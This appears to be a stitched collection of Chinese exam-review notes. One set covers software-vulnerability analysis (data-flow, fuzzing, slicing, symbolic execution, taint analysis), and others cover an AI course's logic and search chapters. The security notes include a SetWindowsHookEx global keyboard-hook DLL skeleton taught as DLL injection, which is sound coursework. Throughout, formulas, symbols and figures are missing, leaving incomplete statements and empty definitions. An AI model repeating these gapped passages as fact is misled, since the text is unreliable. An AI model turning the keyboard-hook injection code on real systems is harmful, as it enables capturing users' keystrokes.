程序代码模型：数据流分析使用的，主要包括程序代码中间的表示，以及一些关键的数据结构。我们引入抽象语法树，其描述了程序的过程内代码的控制流结构。

三地址码。三地址码（Three address code，TAC）是一种中间语言，由一组类似于汇编语言的指令组成，每个指令具有不多于三个的运算分量。每个运算分量都像是一个寄存器。

常见的三地址码：

• x = y op z ：表示 y 和 z 经过 op 指示的计算将结果存入 x
• x = op y ：表示 y 经过操作 op 的计算将结果存入 x
• x = y ：表示赋值操作
• goto L ：表示无条件跳转
• if x goto L ：表示条件跳转
• x = y[i] ：表示数组赋值操作
• x = &y 、 x = *y ：表示对地址的操作
• param x1, param x2, call p：表示过程调用 p(x1, x2)

​ 还有控制流图，通常是指用于描述程序过程内的控制流的有向图。控制流由节点和有向边组成。节点可以是单条语句或程序代码段。有向边表示节点之间存在潜在的控制流路径。

上面是一些常见的控制流路径

调用图。调用图（Call Graph，CG）是描述程序中过程之间的调用和被调用关系的有向图，满足如下原则：对程序中的每个过程都有一个节点；对每个调用点都有一个节点；如果调用点c调用了过程p，就存在一条从c的节点到p的节点的边。

基于数据流的漏洞分析：

1. 首先，进行代码建模，将代码构造为抽象语法树或程序控制流图；
2. 然后，追踪获取变量的变化信息，根据漏洞分析规则检测安全缺陷和漏洞。

对于逻辑复杂的程序代码，数据流复杂，所以准确率较低，误报率较高

举个例子：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

int contrived(int *p, int *w, int x) {
	int *q;
	if (x) {
		kfree(w); // w free
		q = p;
	}else
		q=w;
	return *q; // p use after free
}
int contrived_caller(int *w, int x, int *p) {
	kfree(p); // p free
	[...]
	int r = contrived(p, w, x);
	[...]
	return *w; // w use after free
}

我们根据数据流分析来检测指针变量

因此我们发现，只有1256这一条路径是安全的，12346这一条存在着指针的漏洞。

模糊测试

是一种自动化或半自动化的安全漏洞检测技术，通过向目标软件输入大量的畸形数据并监测目标系统的异常来发现潜在的软件漏洞。

模糊测试属于黑盒测试的一种，它是一种有效的动态漏洞分析技术，黑客和安全技术人员使用该项技术已经发现了大量的未公开漏洞。

它的缺点是畸形数据的生成具有随机性，而随机性造成代码覆盖不充分导致了测试数据覆盖率不高。

分类：

• 基于生成的模糊测试：它是指依据特定的文件格式或者协议规范组合生成测试用例，该方法的关键点在于既要遵守被测程序的输入数据的规范要求，又要能变异出区别于正常的数据
• 基于变异的模糊测试：它是指在原有合法的测试用例基础上，通过变异策略生成新的测试用例。变异策略可以是随机变异策略、边界值变异策略、位变异策略等等，但前提条件是给定的初始测试用例是合法的输入。

步骤：

1. 确定测试对象和输入数据：对模糊测试来说首要的问题是确定可能的输入数据，畸形输入数据的枚举对模糊测试至关重要。
2. 生成模糊测试数据：一旦确定了输入数据，接着就可以生成模糊测试用的畸形数据。根据目标程序及输入数据格式的不同，可相应选择不同的测试数据生成算法。
3. 检测模糊测试数据：检测模糊测试数据的过程首先要启动目标程序，然后把生成的测试数据输入到应用程序中进行处理。
4. 监测程序异常：实时监测目标程序的运行，就能追踪到引发目标程序异常的源测试数据。
5. 确定可利用性：还需要进一步确定所发现的异常情况是否能被进一步利用。

该方法的测试具有一定的随机性，不是所有的错误都能被检测出来

我们为了解决模糊测试的随机性，我们往里面引入了基于符号执行、污点传播分析等可进行程序理解的方法，在实现程序理解的基础上，有针对性的设计测试数据的生成，从而实现了比传统的随机模糊测试更高的效率，这种结合了程序理解和模糊测试的方法，称为智能模糊测试(smart Fuzzing)技术。

智能模糊测试的步骤：

1. 反汇编：智能模糊测试的前提，是对可执行代码进行输入数据、控制流、执行路径之间相关关系的分析。为此，首先对可执行代码进行反汇编得到汇编代码，在汇编代码的基础上才能进行上述分析。
2. 中间语言转换：需要将汇编代码转换成中间语言，由于中间语言易于理解，所以为可执行代码的分析提供了一种有效的手段。
3. 采用智能技术分析输入数据和执行路径的关系：通过符号执行和约束求解技术、污点传播分析、执行路径遍历等技术手段，检测出可能产生漏洞的程序执行路径集合和输入数据集合。
4. 利用分析获得的输入数据集合，对执行路径集合进行测试：采用上述智能技术获得的输入数据集合进行安全检测，使后续的安全测试检测出安全缺陷和漏洞的机率大大增加。

AFL模糊测试框架

AFL是一款基于覆盖引导（Coverage-guided）的模糊测试工具，它通过记录输入样本的代码覆盖率，从而调整输入样本以提高覆盖率，增加发现漏洞的概率。

AFL工作流程：

1. 从源码编译程序时进行插桩，以记录代码覆盖率；
2. 选择一些输入文件作为初始测试集加入输入队列；
3. 将队列中的文件按策略进行“突变”；
4. 如果经过变异文件更新了覆盖范围，则保留在队列中;
5. 循环进行，期间触发了crash（异常结果）的文件会被记录下来。

第八章 漏洞挖掘技术

程序切片技术

概述

程序切片旨在从程序中提取满足一定约束条件的代码片段

• 对指定变量施加影响的代码指令
• 或者指定变量所影响的代码片段

定义：给定一个切片准则 C=(N, V)，其中N表示程序P中的指令，V表示变量集，程序P关于C的映射即为程序切片。换句话说，一个程序切片是由程序中的一些语句和判定表达式组成的集合。

分类：

• 前向切片，计算方向与程序相同
• 后向切片

C=(4, z)指的就是，从C代码的第四行开始，做前向切片，只关注我们的z变量

控制依赖图(CFG)

是一个过程或程序的抽象表现，代表了一个程序执行过程中会遍历到的所有路径

一个程序的控制流图CFG可以表示为一个四元组，形如G = (V, E, s, e)，其中V表示变量的集合，E表示表示边的集合，s表示控制流图的入口，e表示控制流图的出口

程序中的每一条指令都映射为CFG上的一个结点，具有控制依赖关系的结点之间用一条边连接

比如说我们的356语句受到1的影响，那么我们就将其标在1的后面

控制依赖的来源：程序上下文；控制指令

程序依赖图(PDG)

程序依赖图（Program Dependence Graph，PDG）可以表示为一个五元组，形如G = (V, DDE, CDE, s, e)，其中V表示变量的集合，DDE表示数据依赖边的集合，CDE表示控制依赖边的集合，每条边连接了图中的两个结点，程序中的每一条指令都映射为PDG上的一个结点。s表示程序依赖图的入口结点，e表示程序依赖图的出口结点

• 控制依赖：表示两个基本块在程序流程上存在的依赖关系。
• 数据依赖：表示程序中引用某变量的基本块（或者语句）对定义该变量的基本块的依赖，即是一种“定义-引用”依赖关系

我们将控制依赖用粗的箭头表示，将数据依赖用细的箭头表示

举个例子：S4语句，sum的值必定受到S1的影响，所以是数据依赖；还收到S5中的i的数据依赖影响；还收到自己的控制依赖影响，因此是三个箭头

系统依赖图(SDG)

系统依赖图（System Dependence Graph，SDG）：可以表示为一个七元组，形如G = (V,DDE, CDE, CE, TDE, s, e)，其中V变量的集合，DDE表示数据依赖边的集合，CDE表示控制依赖边的集合，CE表示函数调用边，TDE表示参数传递造成的传递依赖边的集合，结点s表示系统依赖图的入口结点，结点e表示系统依赖图的出口结点。

SDG在PDG的基础上进行了扩充，系统依赖图中加入了对函数调用的处理

程序切片方法

定义

包含两个要素，即

• 切片目标变量（如变量z）
• 开始切片的代码位置（如z所在的代码位置：第12行）

程序P的切片准则是二元组<n,V>

• n是程序中一条语句的编号
• V是切片所关注的变量集合
• 该集合是P中变量的一个子集

程序切片通常包括3个步骤：程序依赖关系提取、切片规则制定和切片生成。

• 程序依赖关系提取主要是从程序中提取各类消息，包括控制流和数据流信息，形成程序依赖图。
• 切片规则制定主要是依据具体的程序分析需求设计切片准则。
• 切片生成则主要是依据前述的切片准则选择相应的程序切片方法，然后对第一步中提取的依赖关系进行分析处理，从而生成程序切片。

图可达算法

切片过程

• 输入：结点Node
• 输出：结点集VisitedNodes

步骤

• 步骤1：判断Node是否在结点集VisitedNodes，结果为是，则return；结果为否，则进入步骤2；
• 步骤2：将Node添加到VisitedNodes中；
• 步骤3：在程序依赖图中遍历Node依赖的结点，得到结点集Pred；
• 步骤4：对于每一个pred∈Pred，迭代调用PDGSlice(pred)

动态程序切片

动态切片需要考虑程序的特定输入，切片准则是一个三元组(N, V, I)，其中 N 是指令集合，V 是变量集合，I 是输入集合

我们输入C1=(13, a, x=1, y=1，z=0)，这样就是说明了z的值，这样我们就可以将一些没有用的代码给剪掉

动态切片就是跟我们的未知数的取值有关，是静态切片的子集

条件切片

条件切片的切片准则也是一个三元组，形为C = (N, V, FV)，其中 N 和 V 的含义同静态准则相同，FV是 V 中变量的逻辑约束

静态切片和动态切片可以看做条件切片的两个特例：当FV中的约束条件为空时，得到的切片是静态切片；当FV中的约束固定为某一特定条件时，得到的切片是动态切片

程序插桩技术

插桩就是在代码中插入一段我们自定义的代码，它的目的在于通过我们插入程序中的自定义的代码，得到期望得到的信息，比如程序的控制流和数据流信息，以此来实现测试或者其他目的

分类：

• 源代码插桩
• 静态二进制插桩
• 动态二进制插桩

具体见实验8

消息Hook技术

消息Hook就是一个Windows消息的拦截机制，可以拦截单个进程的消息（线程钩子），也可以拦截所有进程的消息（系统钩子），也可以对拦截的消息进行自定义的处理：

• 如果对于同一事件（如鼠标消息）既安装了线程钩子又安装了系统钩子，那么系统会自动先调用线程钩子，然后调用系统钩子。
• 对同一事件消息可安装多个钩子处理过程，这些钩子处理过程形成了钩子链，后加入的有优先控制权

官方函数SetWindowsHookEx用于设置消息Hook

1
2
3
4
5
6

HHOOK SetWindowsHookEx(
	int_idHook, 		 //hook类型
	HOOKPROC lpfn, 	 //hook函数
	HINSTANCE hMod, 	 //hook函数所属DLL的Handle
	DWORD dwThreadId  //设定要Hook的线程ID，0表示“全局钩子”(Global Hook)监视所有进程
);

DLL注入技术是向一个正在运行的进程插入自有DLL的过程。DLL注入的目的是将代码放进另一个进程的地址空间中

在Windows中，利用SetWindowsHookEx函数创建钩子（Hooks）可以实现DLL注入。设计实验如下：

• 编制键盘消息的Hook函数—KeyHook.dll中的KeyboardProc函数
• 通过SetWindowsHookEx创建键盘消息钩子实现DLL注入（执行DLL内部代码）

DLL基本格式：

导入函数

1
2
3
4
5
6
7
8
9
10
11
12

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved){
	switch( dwReason )
	{
        case DLL_PROCESS_ATTACH://动态链接库加载
			g_hInstance = hinstDLL;
			break;

        case DLL_PROCESS_DETACH://动态链接库卸载
			break;	
	}
	return TRUE;
}

导出函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#ifdef __cplusplus
extern "C" {
#endif
	__declspec(dllexport) void HookStart()//hook开始执行
	{
		g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
	}

	__declspec(dllexport) void HookStop()//hook停止
	{
		if( g_hHook )
		{
			UnhookWindowsHookEx(g_hHook);
			g_hHook = NULL;
		}
	}
#ifdef __cplusplus
}
#endif

API Hook技术

API HOOK的基本方法就是通过hook“接触”到需要修改的API函数入口点，改变它的地址指向新的自定义的函数

分类：

• IAT Hook：将输入函数地址表IAT内部的API地址更改为Hook函数地址
• 代码Hook：系统库（*.dll）映射到进程内存时，从中查找API的实际地址，并直接修改代码
• EAT Hook

符号执行基本原理

程序执行状态

符号执行具体执行时，程序状态中通常包括：程序变量的具体值、程序指令计数和路径约束条件pc（path constraint）

pc是符号执行过程中对路径上条件分支走向的选择情况，根据状态中的pc变量就可以确定一次符号执行的完整路径。pc初始值为true

遇到条件分支就是左右分叉，运算语句就是代入未知数

符号传播

建立符号变量传播的关系，并且更新映射的关系——将对应内存地址的数据进行变化

1
2
3
4

int x;
int y, z;  
y=x*3;
z=y+5;

符号执行树

程序的所有执行路径可以表示为树，叫做执行树。符号执行过程也是对执行树进行遍历的过程

1
2
3
4
5
6
7
8

1 void foobar(int a,int b){
2  int x=1,y=0;
3  if(a != 0){
4    y = 3+x; 
5    if (b ==0)
6         x = 2*(a+b);
7   }
8  assert(x-y ！=0)

结合assert的约束x-y!=0就可以进行求解出触发约束的输入

约束求解

类似于解方程，利用我们的符号执行中得到的式子来进行计算

• SAT问题（The Satisfiability Problem，可满足性问题）
• SMT（Satisfiability Module Theories，可满足性模理论）

符号执行方法分类

• 静态符号执行本身不会实际执行程序，通过解析程序和符号值模拟执行，有代价小、效率高的优点，但是存在路径爆炸、误报高的情况
• 动态符号执行也称为混合符号执行，它的基本思想是：以具体的数值作为输入执行程序代码，在程序实际执行路径的基础上，用符号执行技术对路径进行分析，提取路径的约束表达式，根据路径搜索策略（深度、广度）对约束表达式进行变形，求解变形后的表达式并生成新的测试用例，不断迭代上面的过程，直到完全遍历程序的所有执行路径。
• 选择性符号执行可以对程序员感兴趣的部分进行符号执行，其它的部分使用真实值执行，在特定任务环境下可以进一步提升执行效率

Z3约束求解器

——SMT问题的开源约束求解器，就是自动解方程组

一般使用的方法：

• Solver()：创建一个通用求解器，创建后可以添加约束条件，进行下一步的求解。
• add()：添加约束条件，通常在solver()命令之后。
• check()：通常用来判断在添加完约束条件后，来检测解的情况，有解的时候会回显sat，无解的时候会回显unsat。
• model()：在存在解的时候，该函数会将每个限制条件所对应的解集取交集，进而得出正解

Angr应用示例

见实验

变量符号化——动态符号执行——获取路径约束条件——约束求解

污点分析基本原理

• 污点分析标记程序中的数据（外部输入数据或者内部数据）为污点，通过对带污点数据的传播分析来达到保护数据完整性和保密性的目的
• 如果信息从被标记的污点数据传播给未标记的数据,那么需要将未标记的标记为污点数据；如果被标记的污点数据传递到重要数据区域或者信息泄露点，那就意味着信息流策略被违反

污点分析可以抽象成一个三元组（sources，sinks，sanitizers）的形式：

• source即污点源，代表直接引入不受信任的数据或者机密数据到系统中；
• sink即污点汇聚点，代表直接产生安全敏感操作(违反数据完整性)或者泄露隐私数据到外界(违反数据保密性)；
• sanitizer即无害处理，代表通过数据加密或者移除危害操作等手段使数据传播不再对软件系统的信息安全产生危害。

污点分析就是分析程序中由污点源引入的数据是否能够不经无害处理，而直接传播到污点汇聚点。如果不能，说明系统是信息流安全的；否则，说明系统产生了隐私数据泄露或危险数据操作等安全问题

识别污点源和污点汇聚点是污点分析的前提

• 使用启发式的策略进行标记，例如把来自程序外部输入的数据统称为“污点”数据，保守地认为这些数据有可能包含恶意的攻击数据；
• 根据具体应用程序调用的API或者重要的数据类型，手工标记源和汇聚；
• 使用统计或机器学习技术自动地识别和标记污点源及汇聚点。

分类：显式流分析和隐式流分析

• 显式流分析：分析污点标记如何随程序中变量之间的数据依赖关系传播。
• 隐式流分析：分析污点标记如何随程序中变量之间的控制依赖关系传播，也就是分析污点标记如何从条件指令传播到其所控制的语句

隐式流的两个问题：

• 欠污染：由于对隐式流污点传播处理不当导致本应被标记的变量没有被标记的问题称为欠污染(under-taint)问题。
• 过污染：由于污点标记的数量过多而导致污点变量大量扩散的问题称为过污染(over-taint)问题。

无害处理：

• 常数赋值是最直观的无害处理的方式；
• 加密处理、程序验证等在一定程度上，可以认为是无害处理。

污点分析方法

显式流分析

静态分析：在不运行且不修改代码的前提下，通过分析程序变量间的数据依赖关系来检测数据能否从污点源传播到污点汇聚点

动态分析：在程序运行过程中，通过实时监控程序的污点数据在系统程序中的传播来检测数据能否从污点源传播到污点汇聚点。

隐式流分析

静态隐式流分析：需要分析每一个分支控制条件是否需要传播污点标记。路径敏感的数据流分析往往会产生路径爆炸问题，导致开销难以接受

动态隐式流分析：

• 如何确定污点控制条件下需要标记的语句的范围？动态执行轨迹并不能反映出被执行的指令之间的控制依赖关系
• 由于部分泄漏导致的漏报如何解决？指污点信息通过动态未执行部分进行传播并泄漏
• 如何选择合适的污点标记分支进行污点传播？鉴于单纯地将所有包含污点标记的分支进行传播会导致过污染的情况

供南开大学计算机学院和网络空间安全学院期末复习使用

免责声明：本人水平有限，笔记难免有错误，请理性使用，切莫完全相信本笔记的所有内容。

分值分配：课上随堂测试考核(10%)、研讨内容(10%)、实验内容考核(40%)和期末考试(40%)

期末考试：30道选择题（每小题2分）4道简答题（每小题5分）2道解答题（每小题10分）

第一章 绪论

知识点

定义

人工智能的定义：是以机器为载体所实现的人类智能或生物智能

人工智能的不同研究方法

• 符号逻辑：以推理为核心
• 联结主义：以统计机器学习为手段
• 行为学派：从环境交互过程中进行策略学习

典型应用角度对人工智能的分类

• 机器定理证明（逻辑和推理），仿解题者
• 机器翻译（自然语言理解），仿译者
• 专家系统（问题求解和知识表达），仿专家（如医生）
• 博弈（搜索树），仿弈者
• 模式识别（多媒体认知），仿认识者
• 学习（神经网络），仿初学者
• 机器人和智能控制（感知与控制），仿生物者

智能角度对人工智能的分类

• 领域人工智能
• 通用人工智能
• 混合增强人工智能

形式化系统的有效性

• 完备性：所有能够从某形式化系统推出来的知识，都可以从这个形式化系统推导出来
• 一致性：推导出来的知识不会推导出自己的否定，整个形式化系统是自洽的、非矛盾的
• 可判定性：对于推导出的知识，存在算法在有限步内判定其真假

其中，哥德尔不完备定理指出，一致性和完备性不可能同时具有。

可计算的：就是可以用图灵机来计算，图灵机是一个机械计算装置，从左到右逐一计算，得出结果

图灵机模型：现代计算机的理论模型

人工智能三次低谷

• 第一次低谷：年英国发表报告

  教训：尚属婴儿期，难以测算准确

• 第二次低谷：日本智能（第五代）计算机研制失败

  教训：驱动的发展要靠软件、数据和知识，而非只依靠硬件

• 第三次低谷：知识词典日趋势微、网络百科兴起

  教训：知识不能靠专家表达，要自动学习

智能计算方法

1.符号主义为核心的逻辑推理

就是将自然语言转为符号语言，从而使语言容易被计算机所识别

推理一般包括：

• 归纳推理：从特殊到一般，从具体到抽象，从现象到本质
• 演绎推理：从一般性前提出发，去推导演绎，得出具体陈述或者个别结论
• 因果推理：判断事物之间存在的原因和结果这样的关系

2.问题求解为核心的探寻搜索

3.数据驱动为核心的机器学习

4.行为主义为核心的强化学习

5.博弈对抗为核心的决策智能

博弈论——应用到计算机领域

供南开大学计算机学院和网络空间安全学院期末复习使用

免责声明：本人水平有限，笔记难免有错误，请理性使用，切莫完全相信本笔记的所有内容。

分值分配：课上随堂测试考核(10%)、研讨内容(10%)、实验内容考核(40%)和期末考试(40%)

期末考试：30道选择题（每小题2分）4道简答题（每小题5分）2道解答题（每小题10分）

第三章 搜索求解

知识点

一些名词

状态 对智能体和环境当前情形的描述。例如，在最短路径问题中，城市可作为状态。将原问题对应的状态称为初始状态 动作 从当前时刻所处状态转移到下一时刻所处状态所进行操作。一般而言这些操作都是离散的

状态转移 对智能体选择了一个动作之后，其所处状态的相应变化 路径/代价 一个状态序列。该状态序列被一系列操作所连接。如从到所形成的路径 目标测试 评估当前状态是否为目标状态

搜索算法

集合用于保存搜索树中可用于下一步探索的所有候选结点，这个集合叫作边缘集合，也叫作开表

但是并不是所有的后继节点都值得被探索，所以我们需要再探索的过程中进行剪枝

上图就是图搜索，要求不能出现环

启发式搜索

分为贪婪最佳优先搜索和搜索

我们有两个函数来辅助我们进行搜索

在贪婪最佳优先搜索中，我们将评价函数定为启发函数，启发函数是由任意一个城市与终点城市之间的直线距离

在A*搜索中，我们的评价函数是启发函数+开销函数

​ 表示从起始结点到结点的开销代价值

​ 表示从结点到目标结点路径中所估算的最小开销代价值

​ 可视为经过结点 、具有最小开销代价值的路径。

评价函数就是，起始结点到结点代价(当前最小代价)加上结点到目标结点代价(后续估计最小代价)

对抗搜索

也称为博弈搜索，就是在竞争的过程中，一方尽可能最大化利益，另一方尽可能的最小化利益

minimax搜索

就是双方都往不同的结果靠拢，而且必须是零和博弈，优点是双方都尽力的情况下，会获得最好的结果，缺点是时间复杂度太高，返回结果太慢，因此我们选择使用剪枝搜索来进行搜索

剪枝搜索

给一个例子说明：

为可能解法的最小下界 为可能解法的最大上界 如果节点是可能解法路径中的一个节点，则其产生的收益一定满足如下条件：(其中是节点产生的收益) 每个节点有两个值，分别是和。节点的和值在搜索过程中不断变化。其中，从负无穷大()逐渐增加、从正无穷大()逐渐减少。如果一个节点中，则该节点的后续节点可剪枝。

修改方式：层改，层改

当​的时候就剪枝（注意等于号）

先传递到左子树，再返回父节点，然后再传递到右子树，再回溯就可以了

修改值的方法：

• 当在层进行修改的时候，是取自己，下一层的和的最大值
• 当在层进行修改的时候，是取自己，下一层的和的最小值

具体例子：见课本图3.16和图3.17

书本习题9(1):

学习网址：最清晰易懂的MinMax算法和Alpha-Beta剪枝详解

剪枝本身不影响算法输出结果 节点先后次序会影响剪枝效率 如果节点次序“恰到好处”，剪枝的时间复杂度为，最小最大搜索的时间复杂度为

蒙特卡洛树搜索

悔值函数：

​

C是一个平衡因子，来决定算法中选择偏重探索还是利用

蒙特卡洛树的具体流程：分为四个步骤，分别是选择，扩展，模拟，反向传播

• 选择： 从根节点 开始，递归选择子节点，直至到达叶节点或到达具有还未被扩展过的子节点的节点。具体来说，通常用 (，上限置信区间)选择最具“潜力”的后续节点
• 扩展 ：如果 不是一个终止节点，则随机创建其后的一个未被访问节点，选择该节点作为后续子节点。
• 模拟：从节点出发，对游戏进行模拟，直到博弈游戏结束。
• 反向传播：用模拟所得结果来回溯更新导致这个结果的每个节点中获胜次数和访问次数。

记录：代表黑棋胜利数，代表白棋胜利数

假设黑棋先手，则：

然后就是白棋落子，注意公式的第一部分需要用去减掉原来的值，再做加法

就这样一直往下遍历，直到最底部，黑棋选择，我们需要对其进行扩展

随机扩展一个新节点，初始化为，在该节点下进行模拟 假设经过一系列仿真行棋后，最终白棋获胜。该新节点的值被更新为，并向上回溯，所有父辈节点的不变，加

这样我们就完成了蒙特卡洛树的四个步骤：选择，扩展，模拟，反向传播

供南开大学计算机学院和网络空间安全学院期末复习使用

免责声明：本人水平有限，笔记难免有错误，请理性使用，切莫完全相信本笔记的所有内容。

分值分配：课上随堂测试考核(10%)、研讨内容(10%)、实验内容考核(40%)和期末考试(40%)

期末考试：30道选择题（每小题2分）4道简答题（每小题5分）2道解答题（每小题10分）

第二章 逻辑与推理

知识点

命题

命题：确定真值的陈述句，无法判断正误的句子都不能作为命题

北京是中国的首都：是真命题

请出去：不是命题，是祈使句

您去开会吗？：不是命题，是疑问句

能被整除：是假命题

这座山真高啊！：不是命题，是感叹句

我正在说谎：不是命题，是悖论

原子命题：指的是不包含其他命题作为其组成部分的命题，又叫做简单命题

简单命题通过联结，形成复合命题

复合命题：指的是包含其他命题作为其组成部分的命题

五种常见的联结词：

对应的真值表：

注意：当时，代表的意思是，如果是真的，那么是真的，相当于就是说是的子集，所以如果p为假，那么q一定成立

逻辑

逻辑等价：如果和都具有相同的结果，那么这两个命题就等价

蕴涵消除：为假、则命题恒为真；为真、则须为真，所以

推理规则

命题逻辑中常用的推理规则：

e.g

已知，证明命题是成立的

证明：

通过蕴涵消除得到

通过消解与归结得到

再和前面的做归结运算得到命题正确

重点看一下书本上的例题2.3，例题2.4和例题2.5

范式

范式：

• 析取范式：有限个简单合取式构成的析取式
• 合取范式：有限个简单析取式构成的合取式

假设为简单的合取式，则为析取范式

假设为简单的析取式，则为合取范式

析取范式与合取范式统称为范式

一个析取范式是不成立的，当且仅当它的每个简单合取式都不成立

一个合取范式是成立的，当且仅当它的每个简单析取式都是成立的

任一命题公式都存在着与之等值的析取范式与合取范式，且命题公式的析取范式和合取范式都不是唯一的

问题：求​的析取范式与合取范式

(析取范式)

(合取范式)

谓词逻辑

谓词逻辑：引入更强大的逻辑表示方式，分离其主语（个体和群体）和谓语（关系），这就是谓词逻辑

个体：指的是在所研究的领域中可以独立存在的具体或者抽象的概念

谓词：用来刻画个体属性或者描述个体之间的关系存在性的元素，其值为真或者为假

函数与谓词的区别：

• 函数中，个体变量用个体变量代入后，还是个体
• 谓词中，个体变量用个体变量代入后，就变成了命题，结果是或者是

量词

量词：

• 全称量词：全称量词用符号表示，表示一切的、凡是的、所有的、每一个等。表示定义域中的所有个体，表示定义域中的所有个体具有性质
• 存在量词：存在量词用符号表示，表示存在、有一个、某些等。表示定义域中存在一个或若干个个体，表示定义域中存在一个个体或若干个体具有性质

全称量词&存在量词：

合式公式：

命题常项、命题变项、原子谓词都是合式公式

如果和是合式公式，那么都是合式公式 如果是合式公式，是个体变元，则和也是合式公式

谓词逻辑的推理：

• 全称量词消去:
• 全称量词引入:
• 存在量词消去:
• 存在量词引入:

已知： 试证明：

使用全称量词的消去与引入就可以证明了

$$ (∀𝑥)(𝑃(𝑥)→𝑄(𝑥))\

𝑃(𝑥)→𝑄(𝑥)(消去全称量词)\

(∀𝑥)(𝑄(𝑥)→𝑅(𝑥))\

𝑄(𝑥)→𝑅(𝑥)(消去全称量词)\

𝑃(𝑥)→𝑅(𝑥)(假言三段论)\

(∀𝑥)(𝑃(𝑥)→𝑅(𝑥))(引入𝑥) $$

看课本30页例题2.11和例题2.12

自然语言的形式化

就是将我们人类使用的自然语言，用谓词逻辑表示出来，就可以进行推理了

例题2.13和例题2.14

已知: 请证明：

​​​

(7 , 10消解)

​

知识图谱推理

知识图谱可视为包含多种关系的图

可将知识图谱中任意两个相连节点及其连接边表示成一个三元组（）

比如说的意思就是，前者是后者的爸爸，中间的表示两者之间的关系，图中的红色的线需要通过推理才能得到

知识图谱推理就是通过机器学习等方法对知识图谱所蕴含关系进行挖掘

如何对知识图谱中的关系进行推理？一共是两种方法

1.归纳逻辑程序设计 ()算法

作为的代表性方法，通过序贯覆盖实现规则推理。

推理手段：

推理思路：从一般到特殊，逐步给目标谓词添加前提约束谓词，直到所构成的推理规则不覆盖任何反例

对目标谓词或前提约束谓词中的变量赋予具体值，如将这一推理规则所包含的目标谓词中和分别赋值为和

那么我们需要添加哪些谓词呢？我们根据中的信息增益值来判断

其中，和是增加前提约束谓词后所得新推理规则覆盖的正例和反例的数量，和是原推理规则所覆盖的正例和反例数量

我们依次将谓词加入到推理规则中作为前提约束谓词，并计算所得到新推理规则的增益值。基于计算所得增益值来选择最佳前提约束谓词。